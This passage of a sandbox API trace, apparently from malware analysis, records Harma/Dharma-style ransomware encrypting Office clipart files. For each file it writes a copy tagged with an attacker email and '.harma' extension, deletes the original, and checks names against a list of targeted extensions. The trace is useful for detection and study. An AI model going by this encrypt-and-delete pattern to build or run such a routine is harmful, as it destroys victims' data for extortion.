[0164.298] SetEndOfFile (hFile=0x340) returned 1 [0165.229] CloseHandle (hObject=0x340) returned 1 [0165.229] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0165.229] SetEndOfFile (hFile=0x39c) returned 1 [0165.733] CloseHandle (hObject=0x39c) returned 1 [0165.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0165.751] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg")) returned 1 [0165.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0165.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0165.752] lstrlenW (lpString=".doc") returned 4 [0165.752] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.752] lstrlenW (lpString=".docx") returned 5 [0165.753] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0165.753] lstrlenW (lpString=".pdf") returned 4 [0165.753] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.753] lstrlenW (lpString=".xls") returned 4 [0165.753] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.753] lstrlenW (lpString=".xlsx") returned 5 [0165.753] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0165.753] lstrlenW (lpString=".ppt") returned 4 [0165.753] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0165.753] lstrlenW (lpString=".zip") returned 4 [0165.753] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.753] lstrlenW (lpString=".rar") returned 4 [0165.753] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.753] lstrlenW (lpString=".bz2") returned 4 [0165.753] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.753] lstrlenW (lpString=".7z") returned 3 [0165.753] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0165.753] lstrlenW (lpString=".dbf") returned 4 [0165.753] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0165.753] lstrlenW (lpString=".1cd") returned 4 [0165.754] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0165.754] lstrlenW (lpString=".jpg") returned 4 [0165.754] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0165.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0165.754] lstrlenW (lpString=".doc") returned 4 [0165.754] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.754] lstrlenW (lpString=".docx") returned 5 [0165.754] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0165.754] lstrlenW (lpString=".pdf") returned 4 [0165.754] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.754] lstrlenW (lpString=".xls") returned 4 [0165.754] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.754] lstrlenW (lpString=".xlsx") returned 5 [0165.754] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0165.754] lstrlenW (lpString=".ppt") returned 4 [0165.754] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0165.754] lstrlenW (lpString=".zip") returned 4 [0165.754] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.754] lstrlenW (lpString=".rar") returned 4 [0165.754] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.754] lstrlenW (lpString=".bz2") returned 4 [0165.754] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.755] lstrlenW (lpString=".7z") returned 3 [0165.755] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0165.755] lstrlenW (lpString=".dbf") returned 4 [0165.755] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0165.755] lstrlenW (lpString=".1cd") returned 4 [0165.755] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0165.755] lstrlenW (lpString=".jpg") returned 4 [0165.755] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.755] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0165.755] lstrlenW (lpString="J0099193.GIF") returned 12 [0165.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.756] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=35546) returned 1 [0165.756] CloseHandle (hObject=0x39c) returned 1 [0165.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif")) returned 0x20 [0165.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.757] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0165.757] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0165.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0165.758] GetLastError () returned 0x0 [0165.758] ReadFile (in: hFile=0x39c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x8ada, lpOverlapped=0x0) returned 1 [0165.765] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x8ae0, lpOverlapped=0x0) returned 1 [0165.767] ReadFile (in: hFile=0x39c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0165.767] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0165.767] SetEndOfFile (hFile=0x3ac) returned 1 [0165.767] CloseHandle (hObject=0x3ac) returned 1 [0165.767] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0165.767] SetEndOfFile (hFile=0x39c) returned 1 [0165.771] CloseHandle (hObject=0x39c) returned 1 [0165.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0165.771] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif")) returned 1 [0165.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0165.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0165.772] lstrlenW (lpString=".doc") returned 4 [0165.772] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0165.772] lstrlenW (lpString=".docx") returned 5 [0165.772] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0165.772] lstrlenW (lpString=".pdf") returned 4 [0165.772] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0165.772] lstrlenW (lpString=".xls") returned 4 [0165.772] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0165.773] lstrlenW (lpString=".xlsx") returned 5 [0165.773] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0165.773] lstrlenW (lpString=".ppt") returned 4 [0165.773] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0165.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0165.773] lstrlenW (lpString=".zip") returned 4 [0165.773] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0165.773] lstrlenW (lpString=".rar") returned 4 [0165.773] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0165.773] lstrlenW (lpString=".bz2") returned 4 [0165.773] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0165.773] lstrlenW (lpString=".7z") returned 3 [0165.773] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0165.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0165.773] lstrlenW (lpString=".dbf") returned 4 [0165.773] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0165.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0165.773] lstrlenW (lpString=".1cd") returned 4 [0165.773] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0165.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0165.773] lstrlenW (lpString=".jpg") returned 4 [0165.773] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0165.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0165.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0165.773] lstrlenW (lpString=".doc") returned 4 [0165.774] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0165.774] lstrlenW (lpString=".docx") returned 5 [0165.774] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0165.774] lstrlenW (lpString=".pdf") returned 4 [0165.774] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0165.774] lstrlenW (lpString=".xls") returned 4 [0165.774] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0165.774] lstrlenW (lpString=".xlsx") returned 5 [0165.774] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0165.774] lstrlenW (lpString=".ppt") returned 4 [0165.774] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0165.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0165.774] lstrlenW (lpString=".zip") returned 4 [0165.774] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0165.774] lstrlenW (lpString=".rar") returned 4 [0165.774] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0165.774] lstrlenW (lpString=".bz2") returned 4 [0165.774] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0165.774] lstrlenW (lpString=".7z") returned 3 [0165.774] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0165.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0165.774] lstrlenW (lpString=".dbf") returned 4 [0165.774] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0165.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0165.774] lstrlenW (lpString=".1cd") returned 4 [0165.775] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0165.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0165.775] lstrlenW (lpString=".jpg") returned 4 [0165.775] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0165.775] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0165.775] lstrlenW (lpString="J0099194.GIF") returned 12 [0165.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.776] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=25265) returned 1 [0165.776] CloseHandle (hObject=0x39c) returned 1 [0165.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif")) returned 0x20 [0165.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.777] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0165.777] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0165.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0165.778] GetLastError () returned 0x0 [0165.778] ReadFile (in: hFile=0x39c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x62b1, lpOverlapped=0x0) returned 1 [0165.785] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x62c0, lpOverlapped=0x0) returned 1 [0165.787] ReadFile (in: hFile=0x39c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0165.787] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0165.787] SetEndOfFile (hFile=0x3ac) returned 1 [0165.787] CloseHandle (hObject=0x3ac) returned 1 [0165.787] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0165.787] SetEndOfFile (hFile=0x39c) returned 1 [0165.791] CloseHandle (hObject=0x39c) returned 1 [0165.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0165.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif")) returned 1 [0165.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0165.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0165.792] lstrlenW (lpString=".doc") returned 4 [0165.793] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0165.793] lstrlenW (lpString=".docx") returned 5 [0165.793] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0165.793] lstrlenW (lpString=".pdf") returned 4 [0165.793] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0165.793] lstrlenW (lpString=".xls") returned 4 [0165.793] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0165.793] lstrlenW (lpString=".xlsx") returned 5 [0165.793] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0165.793] lstrlenW (lpString=".ppt") returned 4 [0165.793] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0165.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0165.793] lstrlenW (lpString=".zip") returned 4 [0165.793] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0165.793] lstrlenW (lpString=".rar") returned 4 [0165.793] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0165.793] lstrlenW (lpString=".bz2") returned 4 [0165.793] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0165.793] lstrlenW (lpString=".7z") returned 3 [0165.793] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0165.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0165.793] lstrlenW (lpString=".dbf") returned 4 [0165.793] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0165.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0165.793] lstrlenW (lpString=".1cd") returned 4 [0165.793] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0165.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0165.794] lstrlenW (lpString=".jpg") returned 4 [0165.794] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0165.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0165.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0165.794] lstrlenW (lpString=".doc") returned 4 [0165.794] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0165.794] lstrlenW (lpString=".docx") returned 5 [0165.794] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0165.794] lstrlenW (lpString=".pdf") returned 4 [0165.794] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0165.794] lstrlenW (lpString=".xls") returned 4 [0165.794] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0165.794] lstrlenW (lpString=".xlsx") returned 5 [0165.794] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0165.794] lstrlenW (lpString=".ppt") returned 4 [0165.794] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0165.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0165.794] lstrlenW (lpString=".zip") returned 4 [0165.794] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0165.794] lstrlenW (lpString=".rar") returned 4 [0165.794] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0165.794] lstrlenW (lpString=".bz2") returned 4 [0165.794] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0165.794] lstrlenW (lpString=".7z") returned 3 [0165.794] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0165.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0165.794] lstrlenW (lpString=".dbf") returned 4 [0165.794] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0165.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0165.795] lstrlenW (lpString=".1cd") returned 4 [0165.795] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0165.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0165.795] lstrlenW (lpString=".jpg") returned 4 [0165.795] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0165.795] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0165.795] lstrlenW (lpString="J0099195.GIF") returned 12 [0165.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.796] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=19923) returned 1 [0165.796] CloseHandle (hObject=0x39c) returned 1 [0165.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif")) returned 0x20 [0165.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.796] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0165.796] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0165.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0165.798] GetLastError () returned 0x0 [0165.798] ReadFile (in: hFile=0x39c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x4dd3, lpOverlapped=0x0) returned 1 [0165.980] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x4de0, lpOverlapped=0x0) returned 1 [0165.981] ReadFile (in: hFile=0x39c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0165.981] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0165.981] SetEndOfFile (hFile=0x3ac) returned 1 [0166.030] CloseHandle (hObject=0x3ac) returned 1 [0166.030] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0166.030] SetEndOfFile (hFile=0x39c) returned 1 [0166.032] CloseHandle (hObject=0x39c) returned 1 [0166.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif")) returned 1 [0166.044] lstrlenW (lpString="C:\\Program Files\\Microsoft 